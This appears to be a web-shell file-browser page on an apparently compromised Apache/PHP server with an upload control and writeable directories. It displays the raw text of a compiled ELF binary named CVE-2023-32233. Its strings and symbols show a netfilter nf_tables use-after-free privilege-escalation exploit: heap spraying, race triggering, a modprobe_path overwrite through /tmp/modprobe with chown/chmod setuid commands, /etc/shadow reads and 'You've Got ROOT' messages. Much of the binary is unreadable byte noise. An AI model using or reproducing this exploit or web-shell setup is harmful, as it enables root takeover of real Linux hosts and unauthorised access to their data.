KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /home/queenjbs/www/files/muti/shop/data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/queenjbs/www/files/muti/shop/data/CVE-2023-32233
ELF>8@(@8
@@@@''000aa 888  XXXDDStd888  PtdQtdRtdPP/lib64/ld-linux-x86-64.so.2GNUGNUNr;fxbkڟrvGNU(em.Ju 
#ykv0RqxT)le
6w{}7>[17/Q$#qY5 pZcj)0FGDIFAf0[dj&?, c"_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTablemnl_nlmsg_batch_stopmnl_nlmsg_batch_headmnl_cb_runmnl_socket_openmnl_nlmsg_batch_startmnl_socket_recvfrommnl_socket_get_portidmnl_nlmsg_batch_sizemnl_nlmsg_batch_currentmnl_socket_sendtomnl_socket_bindmnl_nlmsg_batch_nextnftnl_rule_freenftnl_expr_set_u64nftnl_rule_nlmsg_build_payloadnftnl_set_freenftnl_table_nlmsg_build_payloadnftnl_rule_set_u32nftnl_set_elems_iter_destroynftnl_expr_iter_destroynftnl_batch_endnftnl_expr_add_exprnftnl_set_add_exprnftnl_expr_allocnftnl_obj_nlmsg_parsenftnl_chain_nlmsg_build_payloadnftnl_set_set_datanftnl_obj_set_u32nftnl_expr_fprintfnftnl_rule_set_strnftnl_set_elems_nlmsg_parsenftnl_nlmsg_build_hdrnftnl_set_elems_iter_createnftnl_table_freenftnl_expr_get_u64nftnl_table_allocnftnl_obj_set_strnftnl_batch_beginnftnl_set_elem_addnftnl_set_elem_getnftnl_set_elems_nlmsg_build_payloadnftnl_expr_iter_nextnftnl_rule_nlmsg_parsenftnl_set_nlmsg_build_payloadnftnl_rule_set_u64nftnl_chain_set_u32nftnl_set_set_u32nftnl_set_allocnftnl_table_set_u32nftnl_set_elems_iter_nextnftnl_expr_set_u32nftnl_set_elem_allocnftnl_obj_get_datanftnl_obj_set_datanftnl_chain_set_strnftnl_rule_allocnftnl_obj_nlmsg_build_payloadnftnl_rule_get_u64nftnl_set_set_strnftnl_table_set_strnftnl_expr_set_strnftnl_obj_allocnftnl_rule_add_exprnftnl_chain_freenftnl_rule_set_datanftnl_chain_allocnftnl_set_elem_expr_foreachnftnl_expr_iter_createnftnl_expr_get_strnftnl_set_elem_setnftnl_obj_freesnprintfputs_setjmpasprintffreadsetbufsetgidsched_setaffinity__sched_cpuallocrealpathsetuidsocketpairputcharhtonlhtonsfopensystemsockettimestrlenusleeppthread_attr_initpthread_createstdoutumaskexecvegetlinepthread_attr_destroy__libc_start_mainclone__cxa_finalizegetgidfclosememsetioctl__isoc99_sscanfgetuidstrtoulmemcpyfwritestrcmp__sysconf__errno_locationsched_getaffinitypthread_attr_setaffinity_nperrstrtok_rgeteuiderrxlongjmplibmnl.so.0libnftnl.so.11libc.so.6LIBMNL_1.0GLIBC_2.7GLIBC_2.14GLIBC_2.3GLIBC_2.3.4GLIBC_2.34GLIBC_2.32GLIBC_2.2.5LIBNFTNL_15LIBNFTNL_13LIBNFTNL_16LIBNFTNL_11	

 `/5ii

ii
	(ti	2>Iui	Te
`clfxa88hpx	Iz (08
@HP
X`hpx !"#$%& '((0)8*@+H,P-X.`/h0p1x23456789:;<=>?@ABCDEF G(H0J8K@LHMPNXO`PhQpRxSTUVWXYZ[\]^_`abcdefg h(i0j8k@lHmPnXo`phqprxstuvwxy{|}~HHşHtH5ʟ%̟@%ʟh%Ÿh%h%h%h%h%h%hp%h`%h	P%zh
@%rh0%jh %bh
%Zh%Rh%Jh%Bh%:h%2h%*h%"h%h%hp%
h`%hP%h@%h0%h %h%ڞh%Ҟh%ʞh %žh!%h"%h#%h$%h%%h&%h'p%h(`%h)P%zh*@%rh+0%jh, %bh-%Zh.%Rh/%Jh0%Bh1%:h2%2h3%*h4%"h5%h6%h7p%
h8`%h9P%h:@%h;0%h< %h=%ڝh>%ҝh?%ʝh@%hA%hB%hC%hD%hE%hF%hGp%hH`%hIP%zhJ@%rhK0%jhL %bhM%ZhN%RhO%JhP%BhQ%:hR%2hS%*hT%"hU%hV%hWp%
hX`%hYP%hZ@%h[0%h\ %h]%ڜh^%Ҝh_%ʜh`%œha%hb%hc%hd%he%hf%hgp%hh`%hiP%zhj@%rhk0%jhl %bhm%Zhn%Rho%Jhp%Bhq%:hr%2hs%*ht%"hu%hv%hwp%
hx`%hyP%hz@%h{0%h| %ڗf1I^HHPTE11H=Xf.@H=QHJH9tHnHt	H=!H5H)HH?HHHtH=HtfD=u+UH=HtH=)dś]wUHHgHHHHgHǸVHϚHHS㥛 HHHHHgHǸ HiMbH H	gHǸzHiMbH H
gHǸRHiMbH HgHǸ*HiMbH HgHǸpHHH'gHǸRHHH9gHǸ4HՙHHKgHǸHHH]gHǸHHHogHǸHHHgHǸH}HHgHǸHgH]UHH0H}HEHUHEH
gHHHEH}u
HEHEHHVgHƿVHEH}u
MHEHUHvHEHgHHu"HEHDH5HEHfHHru)HEHHiHHEHfHH/u'HEHiiHEHfHHu'HEHi(HEHOfHHu'HEHCiGHEHfHHlu'HEHi
HEHeHH+u"HEHHҖjHEHeHHu"HEHH.HEHeHHu"HEHIHjHEHbeHHwu"HEH
H6HEH6eHH;uHEHH}HEHeHHuHEHHѕDHEHeHHuHEH_HUHH0H}HEHdHHHEH}tzHEHE:HEHHdHǸhHEHtHdHHUHMHEHHHEH}uHEHKUHHĀH}HuH}H:dH2HEEHUHEHEMUHHUHЉH
cHHǸ^}v}}wE.UHc҈DHEEHEH;Et}uBEHDEHHUHH)HUHEHHHcHǸ)EHEH;E6
UHH@H}؉uԉUHMLEUЋMHE؉HǸE}uH.cHƿrHUHMȋEHΉ]HEHEH9EtHcHƿ6E\E}tHbHƿ
UHH0H}uUHMLEHEH}uHbHƿUHEHHUHEHHUHEHHEH
UAйHHEHUHEHHHEHHEHUHATSH@H}؉uԉUHMLELMHEH}uHaHƿUHEHHEHHUHEHHUHEHH}tMHUHEH]ԍCEԋEDHEHAعDHHEHUHEHHHEHWHEHH@[A\]UHATSH0H}؉uԉUHMLEHEH}uH`HƿUHEHHEHqHUHEHHUHEH]ԍCEԋEDHEHAعDHHEHUHEHHHEHPHEHH0[A\]UHSHHH}؉uԉUHMLELMFHEH}uH_HƿHUHEHHUHEHxUHEHTH}tHUHEHEHEHUAйھHHEHUHEHHHEHHEH]H]UHSH(H}؉uHEH}uHO_HƿǎHEH6HǎHEHHEH	UAйھHHEHUHEHHHEHHEHH]UHSH8H}؉uHUȉMDEDM%HEH}uH]HƿHEHHHEHHUHEHUHEHUHEHUHEHq}tUHE
HWH}tM HUHE
H2HEHUAйھ	HHEHUHEHHrHEHvHEHzH]UHSH8H}؉uHUZHEH}uH8]HƿHEHHHEHHUHEHrLHEHUAйھHHEHUHEHHHEHHEH4H]UHHpH}uHUHMDEHEHEHEHEHEHEHEH}uH`[HƿisHEHbHsHEHHUHEHHEH}uH[HƿMHUHEHDHUHE/H*HUHEHHHEH;UAйHHEHUHEHHHEHHEHUHSHHH}ȉuHUHMHEH}uHUZHƿ%HEHH%HEHHUHEHHZHHEH}uHZHƿHEH^HUHEHiHEH3HUHEHHZHEHUAйھHHEHUHEHHHEHHEHRH]UHSHxH}uHUHMHEHEHEHEHEHEHEH}uHXHƿzHEHCHHEH;HUHEH&HUHE/H<H$YHHEH}uHXHƿHEHHEHHEHwHEHaHEHKHUHEHHHzXHiHEH}uH7XHƿ5HEغHHUHEؾHHUHEHHwHEHrUAйھHXHEHUHEHH1HEHEHEHH]UHSHHH}ȉuHUMHEH}uHIVHƿR\HEHKH\HEHHUHEHnUHEH
HE HHE4HHVHHEH}uHVHƿHUHEHHHHVHHEH}uHWVHƿUHEHHzHUHEHH1HEHUAйھ	HHEHUHEHHqHEHuHEHyH]UHSH8H}؉uHUYHEH}uH7UHƿHEHHHEHHUHEHqHEHaU
HYHEHsHEH]HEHxUAйھH^HEHUHEHHgHEHKHEHH]UHSHXH}uHUHMHEH}uHSHƿWaHEH HaHEHHUHEHH>THHEH}uHSHƿHEHHEHHEHnHEHXHUHEHHHSHvHEH}uHDSHƿBHUHEؾHHEؾHHEغ	HHEغHHRHHEH}uHRHƿHUHEؾHHRHHEH}uHkRHƿiHEHHHUHEؾHHUHEHH0HEHUAйھHHEHUHEHH`HEHtHEH(H]UHSH8H}HQH%;EHHHE؋]CEHEHHEEHEHEPUHU؉HBHiEHMHM؉HWHSEHMHM؉H9H5EHMH}H
 HEHMH}ع(HEHMHM؉HH
HEpuH}؉]CEHEHHKHEHHEHEHEHdHHEH%HHEHHHHyHTPHƿHEHZHEȺH
THH	E}~CEHMԋUAAHHHE}xEE9Eu}uHOHƿZH]UHSHHHOH<H~ H~ HDžHDžHDžHDžHDžHDžHDžHDžHDžHDžHDžHDžHDžHDžHDž HDž(HDž0HDž8HDž@HDžHHDžPHDžXHDž`HDžhHDžpHDžxHEHEHEHEHEHEHt|HuHEEHHEE*EH|HHE]CEHEHHEEHEHEа}u=MHR|EpuH}HuVujA<AH \UHH
~MHHǸMHEpuH}HuVujA<AnH E}	SE̠V}u*H{EHMH}A<H
{ q"H{EHMH}H
{ ?E} ~EUHH
LHHǸH BHHEPUH H}HhIIHJHѺoHE}	tH
zHzEpuH}
]CEHEHH7HEHHHEHEHMHHEHHHHHHHyH:KHƿHEH]HH
7zHHE}~CEHMUAAHHzHE}xEE9Eu}uHJHƿ=H]UHSH8H}HJHEHyHIHE؋]CEHEHpHEEHEHdEPUH}HjjjAAHiJeH ]CEHEHH[HEHHEHEHEHtHHEH5HHEHHHHyHdIHƿHEHZHEȺH
dxHHE}~CEHMԋUAAHH/xHE}xEE9Eu}uHHHƿjH]UHSHhH}HuHUEܾHwH}HEЋ]܍CEHEHHJE܉EHEHHEH}uHFHƿvHEȾHHvHEȾHHEHiHHHEHHUH)HUH}vwHEmHmHEH}uHGHƿ4HUHEHzHUHEHH'HEHHPHEHH}u]܍CEHEHiAعHOHEHUHEHHHEH<HEH@]܍CEHEHHaHEHHEHEHEHzHHEH;HHEHHHHyHjFHƿHEHZHEH
juHHE}~CEHMUAAHH5uH
E}xEE9Eu}uHEHƿpH]UHSHhH}H3FHEHtH|HEЋ]CEHEHHIEEHEHH
(tEPUH}IIHDHѺELUHEH
LEHHǸ|HMEPUH}IHCHѺkE}	~EPUH}L(EHCHѺ7YHEH}uHCHƿsHEȾHHsHEȾHFHsHEȾH.iHEH}uHwCHƿHE<Hs HHUHEHH]CEHEHAعHHEHUHEHHoHEHHEHELUHEH
CHHǸHMEPUH}IHBHѺE}	~]CEHEH7HHEH1HEHEEHEHHHEHgHHEHHHHyHBHƿ4HEHZHEH
qHHKE}~CEHMUAAHHaqH9E}xEE9Eu}uHBHƿH]UHSHHH}HoBHH*pHu	EEEHpHHEЋ]CEHEHHYEEHEHEYUHEH
AHHǸMHUEpuH}HjjuVA<AH E} u]CEHEHHpHEHHEH(EHEHHHEHJHHEHHHHyHy@HƿHEHZHEH
yoHH.E}~CEHM̋UAAHHDoHE}xEE9Eu}uH@HƿH]UHSHH8Hh@HEHnHHE؋]CEHEHHREEHEHEUHEH
@HHǸH@CHHEHAHHMH@HHHMȋEPUH@H}HhIIH=HѺ0HE}?U]CEHEHHHEHH8HEHEH0HHEHHH8HHHiHyH>HƿHEH]H8H
mHHE}~CEHMԋUAAHHlHE}xEE9Eu}uH=Hƿ H]UHH@H}HutHEH}uH<HƿHUHEHHmyH=HƿHEHtHEHEHHEH}HEHHEHEH~<HHjuHEHHEHEHk HH;tEHUHEH
f=HHǸaEԃ}u	EЉkHEHHjHjjH)=HǸHEH8HHEHHHEHHEHUHH0H}H=HEHEH}uHZ:Hƿ HEH\:HEAHljHtHEHUHEHHMHEH!HEHuEHEHMHEHH'HyH:HƿyHEغH
iHHEQEHMUAL(HHiHE}~&HEغH
iHHKE}}uHb:HƿUHSHHH}H;HAWEH(iHHE؋]CEHEHHEEHEHH5|hH
hEPUH}IIH8HѺ:Ec9hE‰ƒ?)HEH
 :HHǸHMȋEPUH}IH"8HѺE}~]CEHEH=HHEH7HEHKEHEHHHEHmHHEHHHHyH8Hƿ:HEHZHEH
gHHQE}~CEHMԋUAAHHggH?E}xEE9Eu}uH$8HƿH]UHSH8H}HuEHEH}uHv6HƿaHUHEHHyH9Hƿ1HUHEHHEE܉HEHH,E=HEHHXH
g Hg HHHXH
g Hg HH HX(H
g Hg HH0HX8H
g Hg HH@HXHH
g Hg HHPHXXH
g Hg HH`HXhH
g Hg HPxH@pHzg H{g yg HEHmH]UHH@H}ȋ$eHEH
7HHǸHEHH7HǸpEHEH}uH4HƿHEHnHEH4HHUHEHHEH+EAHdHHEHUHEHHHEHDHEHEHEHMHEHHjHyH5HƿHEȺH
,dHHEQEHMUALHHcHE}~&HEȺH
cHHE}}uH4Hƿ#UHSHXH}HuUUHEHH6HǸ.EHUcHHE؋]CEHEHDHEEHEH8E]UE‰ƒ?)HMHEHHǸ@HMȋEPUH}IH2HѺ5E}~]CEHEHHHEHHEHEHEHHHEHHHEHHHRHyH3HƿHEHxZHEH
bHHE}~CEHMԋUAAHHaHE}xEE9Eu}uH2HƿH]UHSHH8H0H0HH3HǸ
cEH4aHHE؋]CEHEH#HEEHEHE{UHEH
3HHǸ-Hb Hb H@HHHa Ha HPHXHa Ha H`HhHa Ha HpHxHa Ha HEHUHa Ha HEHUHa Ha HEHUHa Ha HEHUHEH	HHMH@HHHܿH@HhHH@HxH0HHMȋEPUH@H}HhIIHN/HѺHE}?{]CEHEHaH跿HEH[H8HlEHEHͻHHEH莽HH8HHHHyH/HƿXHEH,]H8H
^HHlE}~CEHMԋUAAHH^HZE}xEE9Eu}uH?/Hƿ轾H]UHH@H}HuHEHEHEȾHHEHEH.HH能HEȾHHEH}EHUHEH_HEHj0HǸWE؉HEHH+H\]HuȹH薹
EHUHEH
0HHǸE܃}u!Eԉ\HEȾH3H^ UHH0H}Hu萿HEH}uHC,HƿLHUHEHHYyH/HƿHEH萾HEHEHHEH}tHUHEH
0HH͐HEHHEHpUHH@H}H0/HHE豾HEH}uHd+HƿmEEA
H[H̼HEHy[HEH耷HEH\+HhHUHEHH5HEH虸HEH蝻EHEHMHEHHOHyH,Hƿ衻HEȺH
[HHƼEQEHM܋UALHHZH跺E}~&HEȺH
ZHHsE}}uH+HƿUHSHH8H0H0HH{-HǸ
cEH4ZHHE؋]CEHEH#HɺEEHEHERUHEH
-HHǸ-H[ H[ H@HHHZ HZ HPHXHZ HZ H`HhHZ HZ HpHxHZ HZ HEHUHZ HZ HEHUHZ HZ HEHUHZ HZ HEHUH@HhHH@HxH0HHMȋEPUH@H}HhIIHw(HѺHE}?]CEHEH芷HHEH脷H8H蕸EHEHHHEH跶HH8HHH/HyH(Hƿ聸HEHU]H8H
WHH蕹E}~CEHMԋUAAHHWH胷E}xEE9Eu}uHh(HƿH]UHH쀀pEHEHwfE9跴fEIE,HEH}uH3*HƿXHEH袴yH*Hƿ%AHV HܴCW HEH8U茹HEHHEHHEHUHMHEHHMHUHeUH9rHEH+ZU'HEHEUHEHHEHdUy
vHEHYUɸEZEHEHHEAIйE}tH(HƿʵE}?~HEHV t
HV HEH}TH)EHEHH(HǸ讲HE%Ht*HE%HH}(HǸ耲jDTHEH
?&HHS護HSHEHHSHHEHUHEHHHEHSy
HU HEHEHH'HǸرHUHSH!HSH9t9HSHMHlSH!HHH'HǸ菱yH} HUHEHHHEHUHRH)HUHEHH'HǸ@HE%Ht*HE%HH'HǸRHEH
%HHzR?HxRHEHHPHEHHyH
KT H4HHE|mEHHEH}vHEEHU)ЉEHEHHUHEAIȹEEHH9EtH%Hƿ۲}zUHH@H}ȺZE}uH`&Hƿ舲HEк(HBHUHEHH;&HǸ辯HUЋEǸ&E}uH&HƿEAfEHUЋEǸE}uH%HƿϱEE}tH Hƿ裱UHH0H}HuUHUHEHƿȯE}tH`%HƿVHg%HǬHq%HnOEEHW%HǸRHMEܺHΉE}t#HHƿڰpOu쐐UHH H}HEHEHEH轱UHSHHH}HuHHÿKLHHHPHUH¸HHйHHkH)HHHEHEHEؿKHHEHeHEHEHEHUHEHщHH9HǸ讫Ẽ}uHA$Hƿ̯EHH]UHH}Nu]UHHpH}HuHUHMLEHEH>E}tH#Hƿ\HUHMHEHHeE}tH#Hƿ#HMHUHuHEHE}tH#HƿHEH轰E}tH#Hƿ軮UHH`HHHHLHEHE}tHb#HƿMEH Hu3H HƿPEEBE}E&E}tHHƿԭEHHΉkE}tH"Hƿ虭H"H
UHHHHH"HƿUHHƿ<肬H"H裨HHHH5"HǸڭEEHcHIHAH"HH"H<DžHAHAH"H·H~"HUHH
"HHǸ9E}uHr"Hƿ7Hp"HEHEH谨HHHUIHѺH3H8"HkUHH
7"HHǸ説E}uH!Hƿ訫胨HH
"HHǸcE}uH!HƿaEHcHHIHѺHnH!H覦UHH
!HHǸE}uH!Hƿ莪HH
<!HHǸ螫E}uH Hƿ蜪EHcHHIHѺH詵H!HƅEHHΉAE}tHHƿH H营DžEHHΉ蝨E}tHHƿ˩H HǸtiH HH H薦HnH臦HHHHHGEH Hƿ;UHHĀH}HuHUEHy H莤H H}讬Hv HfeEHHVHEH}uHo Hƿ貨EHH?HHHEHEHHEH¾HRHUHEHƿͪE蕣E܉H HǸ芥}t)oNH HƿEHH荨HEH}uHHƿHEHHEH¾H螥EEpEHHEHEHH;Es4HEHUHHHHHE?HHЃHt}u$EEEH[HǸ~EHHEHEHH;Es:HMHEHHHHHM?HHMHHH	HHUHuHEAH
H!EHHEHEHH;EsHHMHEHHHH2HU?HHHHHUHHH!HHEHHǸ菣EEHcHEHH9yEHHEHEHH;Es:HMHEHHHHHMȃ?HHMHHH	HE#H}HMHUHuHEIHE}~HH"UHH0HHH HH/HH(HΦHEH}tJHUHHѺHӠHEH}tH
DHUHHE}tHHƿ(E}tHHƿ趤ܥE}tHHƿ芤HHHHHHHHHEHHƿ<UHHP}HuHUHCH}~HEHPHEHHY}~HEH@HE8HEHH;HEH}uHHƿ解HHEHHEHHEHEHUHMHEHH/HH
Using profile:
========%-19ld race_set_slab                   # {0,1}
%-19ld race_set_elem_count             # k
%-19d initial_sleep                   # ms
%-19d race_lead_sleep                 # ms
%-19d race_lag_sleep                  # ms
%-19d reuse_sleep                     # ms
%-19lx free_percpu                     # hex
%-19lx modprobe_path                   # hex
%-19lx nft_counter_destroy             # hex
%-19lx nft_counter_ops                 # hex
%-19lx nft_counter_destroy_call_offset # hex
%-19lx nft_counter_destroy_call_mask   # hex
%-19lx nft_counter_destroy_call_check  # hex
========
	 	
 race_set_slabrace_set_elem_countinitial_sleeprace_lead_sleeprace_lag_sleepreuse_sleepfree_percpumodprobe_pathnft_counter_destroynft_counter_opsnft_counter_destroy_call_offsetnft_counter_destroy_call_masknft_counter_destroy_call_checkr[*] Profile line: %s[!] ERROR
*** empty ***%02x 
%04lx:  %-48s |  %sCannot into open()Cannot into write()Cannot into close()Cannot into nftnl_set_alloc()Cannot into nftnl_obj_alloc()Cannot into nftnl_rule_alloc()testfirewallset_AOUTPUTINPUTset_dynchain_dynCannot into nftnl_table_alloc()Cannot into nftnl_chain_alloc()Cannot into nftnl_set_elem_alloc()lookupCannot into nftnl_expr_alloc()byteorderlogcounterquotafilterpayloaddynsetpwn_prepareCannot into mnl_socket_sendto()Cannot into mnl_socket_recvfrom()pwn_uaf_sprayspray_set_%04hxspray_obj_%04hxpwn_delay_spray_setset_delaypwn_uaf_triggerpwn_uaf_racerace_set_%04hxpwn_uaf_new_objuaf_obj_%04hx_Cannot into nftnl_rule_nlmsg_parse()uaf_obj_%x_
Detected UAF with uaf_obj_serial=%x reusing uaf_log_handle=%lx:pwn_uaf_dump_rulepwn_uaf_del_ruleCannot into nftnl_obj_nlmsg_parse()pwn_uaf_dump_obj %s
pwn_uaf_del_obj %s %x
pwn_read_new_obj %lx
read_obj_%04hx_
read expr:read_obj_%x_Cannot into nftnl_set_elems_nlmsg_parse()pwn_read_dump_set_elempwn_write_new_obj %lx
write_obj_%04hx_Cannot into mnl_socket_open()Cannot into mnl_socket_bind()Cannot into sendto()
nf_tables_va=%lx


[!] unexpected module base %lx != 0

read_data=%lx

[!] code check failure %lx != %lx

kernel_va=%lx


[!] unexpected kernel base %lx != 0
Cannot into socket()%sCannot into ioctl()Cannot into sched_setaffinity()[*] Putting on seatbeltslo[*] Signaling status=%d to coordinator...
Cannot into clone()Cannot into pthread_attr_init()Cannot into pthread_attr_setaffinity_np()Cannot into pthread_create()Cannot into pthread_attr_destroy()Cannot into socketpair()Cannot into read()[*] Starting PWN WorkerUnexpected return from exploit()[*] Creating "/tmp/modprobe"...#!/bin/sh

chown 0:0 "%s"
chmod 4555 "%s"
/tmp/modprobe[*] Creating "/tmp/trigger".../tmp/trigger[*] Updating setgroups.../proc/%d/setgroupsCannot into asprintf()deny[*] Updating uid_map.../proc/%d/uid_map0 %d 1[*] Updating gid_map.../proc/%d/gid_map[*] Signaling PWN Worker...[*] Waiting for PWN Worker...[*] Got status=%d from PWN Worker...
[*] Checking "cat /proc/sys/kernel/modprobe"...cat /proc/sys/kernel/modprobeCannot into execve()[*] Netfilter UAF exploit
profile[*] Checking for available CPUs...Cannot into CPU_ALLOC()[*] sched_getaffinity() => %d %d
Cannot into sched_getaffinity()[*] Reserved CPU %d for PWN Worker
[*] Started cpu_spinning_loop() on CPU %d


[*] No ROOT for you:-(
[*] Please reboot the machine!
[*] Checking "/etc/shadow"...rb/etc/shadowUnexpected effective user id of the processCannot into setuid()Cannot into setgid()

[*] You've Got ROOT:-)
Cannot into realpath()-/bin/sh;2|\lU$PDdĐՑq,Pst٘@
$ڠHlۤIf93 D$h+z|4X| @`|d `<zRx"zRx$FJw?;*3$"DH\)AC
|AC
AC
8AC
)AC
ɏAC
 *AC
G @AC
G dnAC
E NAC
E fAC
E\ 9AC
EAC
| \qAC
Eg 8YAC
EO \ޚAC
E *AC
E  AC
E CnAC
Ed AC
H AC
E 45AC
E XAC
E |AC
E _AC
HRAC
wAC
 BAC
E8 (	yAC
EoL^AC
 l@AC
E 7OAC
HBb1AC
,sAC
AC
 &AC
H8AC
X*AC
%xAC
r%AC
 {AC
E4AC
U.AC
AC
{8\AC
XcAC
tAC
880
o(
h	ooooo	60F0V0f0v00000000011&161F1V1f1v11111111122&262F2V2f2v22222222233&363F3V3f3v33333333344&464F4V4f4v44444444455&565F5V5f5v55555555566&666F6V6f6v66666666677&767F7V7f7v777777777	='	@97G
HGCC: (Debian 13.1.0-6) 13.1.0	| @8 p838IU|88>9AB*?CFDJEFf(}G9cHTIqkUKYM~O*PSnU
[\_c(e_8'hMi_ckBpmyo q;sOv1wx;z&a}!v*.2~%?Rd8P!G[
 ) <Jh@'JhKXT ?FpUr .Mcv`(		&	;	[	k						

#
C
V
~




8Xv :* <[yH 

!
3
J
Y
xj
{

(
 


9Ifdh 8"# </Ld;G\{3 2Dl
+H?y@J]i #c6Uyh?"0 0	Scrt1.o__abi_tagcrtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.0__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entryCVE-2023-32233.ccfg_printcfg_loadappend_del_setappend_new_objappend_del_objappend_del_rulepwn_create_tablepwn_create_setpwn_create_chainpwn_create_lookup_set_elempwn_create_lookup_rulepwn_create_log_rulepwn_create_dynset_setpwn_create_dynset_chainpwn_create_dynset_rulepwn_preparepwn_uaf_spraypwn_delay_spray_setpwn_delay_spray_set_elempwn_uaf_triggerpwn_uaf_racepwn_uaf_new_objpwn_uaf_dump_rule_cbpwn_uaf_dump_rulepwn_uaf_del_rulepwn_uaf_dump_obj_cbpwn_uaf_dump_objpwn_uaf_del_objpwn_read_new_objpwn_read_dump_set_elem_cb_elempwn_read_dump_set_elem_cbpwn_read_dump_set_elempwn_write_new_objpwn_mainnetdevice_uppwnclone_helperclone_with_longjmpcpu_spinning_loopthread_create_with_affinitypwn_helperexploit__FRAME_END___DYNAMIC__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE_cfg_nft_counter_destroy_call_offsetpwn_familynftnl_expr_set_str@LIBNFTNL_11nftnl_set_elems_iter_next@LIBNFTNL_11putchar@GLIBC_2.2.5pthread_attr_setaffinity_np@GLIBC_2.32__libc_start_main@GLIBC_2.34__errno_location@GLIBC_2.2.5nftnl_set_elems_nlmsg_build_payload@LIBNFTNL_11mnl_nlmsg_batch_start@LIBMNL_1.0_ITM_deregisterTMCloneTablestdout@GLIBC_2.2.5pwn_log_chainnftnl_set_set_str@LIBNFTNL_11nftnl_table_nlmsg_build_payload@LIBNFTNL_11puts@GLIBC_2.2.5mnl_socket_sendto@LIBMNL_1.0fread@GLIBC_2.2.5nftnl_expr_fprintf@LIBNFTNL_11cfg_nft_counter_destroy_call_maskclone@GLIBC_2.2.5nftnl_expr_iter_create@LIBNFTNL_11nftnl_obj_set_u32@LIBNFTNL_11nftnl_obj_nlmsg_build_payload@LIBNFTNL_11nftnl_set_set_u32@LIBNFTNL_11cfg_race_set_slabuaf_log_handlenftnl_rule_set_data@LIBNFTNL_11uaf_obj_serialmnl_nlmsg_batch_size@LIBMNL_1.0nftnl_rule_get_u64@LIBNFTNL_11_edatapwn_lookup_setnftnl_table_free@LIBNFTNL_11nftnl_chain_set_u32@LIBNFTNL_11fclose@GLIBC_2.2.5log_prefixnftnl_rule_nlmsg_build_payload@LIBNFTNL_11_finistrlen@GLIBC_2.2.5nftnl_rule_set_u64@LIBNFTNL_11nftnl_set_free@LIBNFTNL_11nftnl_set_add_expr@LIBNFTNL_16__sysconf@GLIBC_2.2.5getuid@GLIBC_2.2.5setbuf@GLIBC_2.2.5read_obj_serialerrx@GLIBC_2.2.5system@GLIBC_2.2.5htons@GLIBC_2.2.5nftnl_set_elem_get@LIBNFTNL_11nftnl_chain_free@LIBNFTNL_11mnl_socket_bind@LIBMNL_1.0snprintf@GLIBC_2.2.5nftnl_expr_add_expr@LIBNFTNL_16cfg_free_percpunftnl_table_set_u32@LIBNFTNL_11nftnl_set_elem_alloc@LIBNFTNL_11mnl_socket_open@LIBMNL_1.0htonl@GLIBC_2.2.5memset@GLIBC_2.2.5geteuid@GLIBC_2.2.5pwn_dynset_chainioctl@GLIBC_2.2.5mnl_nlmsg_batch_head@LIBMNL_1.0sendto@GLIBC_2.2.5nftnl_set_elems_nlmsg_parse@LIBNFTNL_11nftnl_set_elem_expr_foreach@LIBNFTNL_16sched_setaffinity@GLIBC_2.3.4nftnl_rule_free@LIBNFTNL_11strtok_r@GLIBC_2.2.5nftnl_rule_add_expr@LIBNFTNL_11mnl_nlmsg_batch_current@LIBMNL_1.0mnl_nlmsg_batch_next@LIBMNL_1.0pthread_attr_init@GLIBC_2.2.5uaf_obj_userdata_setjmp@GLIBC_2.2.5nftnl_rule_set_u32@LIBNFTNL_11execve@GLIBC_2.2.5cfg_load_linecfg_reuse_usleep__data_startnftnl_table_alloc@LIBNFTNL_11strcmp@GLIBC_2.2.5cfg_modprobe_pathnftnl_set_elem_add@LIBNFTNL_11nftnl_obj_set_str@LIBNFTNL_11cfg_nft_counter_destroy_call_checkcfg_initial_usleepnftnl_obj_free@LIBNFTNL_11__gmon_start__umask@GLIBC_2.2.5mnl_cb_run@LIBMNL_1.0__dso_handlerealpath@GLIBC_2.3memcpy@GLIBC_2.14socketpair@GLIBC_2.2.5_IO_stdin_usedpwn_lookup_chaintime@GLIBC_2.2.5getgid@GLIBC_2.2.5cfg_nft_counter_destroyread_quota_consumedmnl_socket_get_portid@LIBMNL_1.0nftnl_obj_nlmsg_parse@LIBNFTNL_11mnl_nlmsg_batch_stop@LIBMNL_1.0nftnl_batch_end@LIBNFTNL_11err@GLIBC_2.2.5nftnl_expr_alloc@LIBNFTNL_11nftnl_table_set_str@LIBNFTNL_11nftnl_chain_set_str@LIBNFTNL_11nftnl_batch_begin@LIBNFTNL_11nftnl_set_elems_iter_destroy@LIBNFTNL_11__isoc99_sscanf@GLIBC_2.7cpu_spinningpwn_table_enduaf_set_keynftnl_rule_alloc@LIBNFTNL_11cfg_race_set_elem_count__sched_cpualloc@GLIBC_2.7nftnl_nlmsg_build_hdr@LIBNFTNL_11nftnl_expr_get_u64@LIBNFTNL_11nftnl_chain_nlmsg_build_payload@LIBNFTNL_11nftnl_obj_alloc@LIBNFTNL_11cfg_race_lag_usleepnftnl_set_set_data@LIBNFTNL_11__bss_startasprintf@GLIBC_2.2.5nftnl_rule_set_str@LIBNFTNL_11nftnl_expr_iter_next@LIBNFTNL_11pthread_create@GLIBC_2.34longjmp@GLIBC_2.2.5setgid@GLIBC_2.2.5mnl_socket_recvfrom@LIBMNL_1.0uaf_obj_userdata_validnftnl_set_elem_set@LIBNFTNL_11fopen@GLIBC_2.2.5nftnl_set_elems_iter_create@LIBNFTNL_11nftnl_set_nlmsg_build_payload@LIBNFTNL_11nftnl_rule_nlmsg_parse@LIBNFTNL_11nftnl_chain_alloc@LIBNFTNL_11strtoul@GLIBC_2.2.5nftnl_expr_set_u32@LIBNFTNL_11pthread_attr_destroy@GLIBC_2.2.5getline@GLIBC_2.2.5file_writefwrite@GLIBC_2.2.5__TMC_END__nftnl_set_alloc@LIBNFTNL_11nftnl_obj_set_data@LIBNFTNL_13nftnl_expr_set_u64@LIBNFTNL_11_ITM_registerTMCloneTablecfg_race_lead_usleepsetuid@GLIBC_2.2.5sched_getaffinity@GLIBC_2.3.4execve_with_setuidnftn